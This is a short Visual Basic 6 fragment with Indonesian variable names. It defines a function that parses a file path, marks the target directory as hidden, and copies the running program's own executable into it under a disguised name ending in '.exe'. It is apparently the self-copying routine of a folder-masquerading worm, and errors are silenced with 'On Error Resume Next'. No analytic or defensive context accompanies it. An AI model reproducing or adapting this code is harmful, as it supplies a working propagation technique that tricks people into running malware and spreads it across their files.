GetFileName

Private Function Copy(A As String)
On Error Resume Next
namaDirektori = ""
namaFile = ""
slash = 0
panjang = Len(A)
For i = 1 To panjang
  Data = Mid(Left(A, i), i)
  If (Data = "\") Then slash = slash + 1
Next i

For i = 1 To panjang
  Data = Mid(Left(A, i), i)
  If (Data = "\") Then
     slash = slash - 1
  End If
 
  If slash > 1 Then
     namaDirektori = namaDirektori + Data
  End If
 
  If slash < 2 Then
    If (Data = "\") Then
      DoEvents
    Else
      namaFile = namaFile + Data
    End If
  End If
Next
SetAttr namaDirektori, vbHidden
CopyFile App.Path & "\" & App.EXEName & ".exe", namaDirektori & "\" & namaFile & ".exe", 2
End Function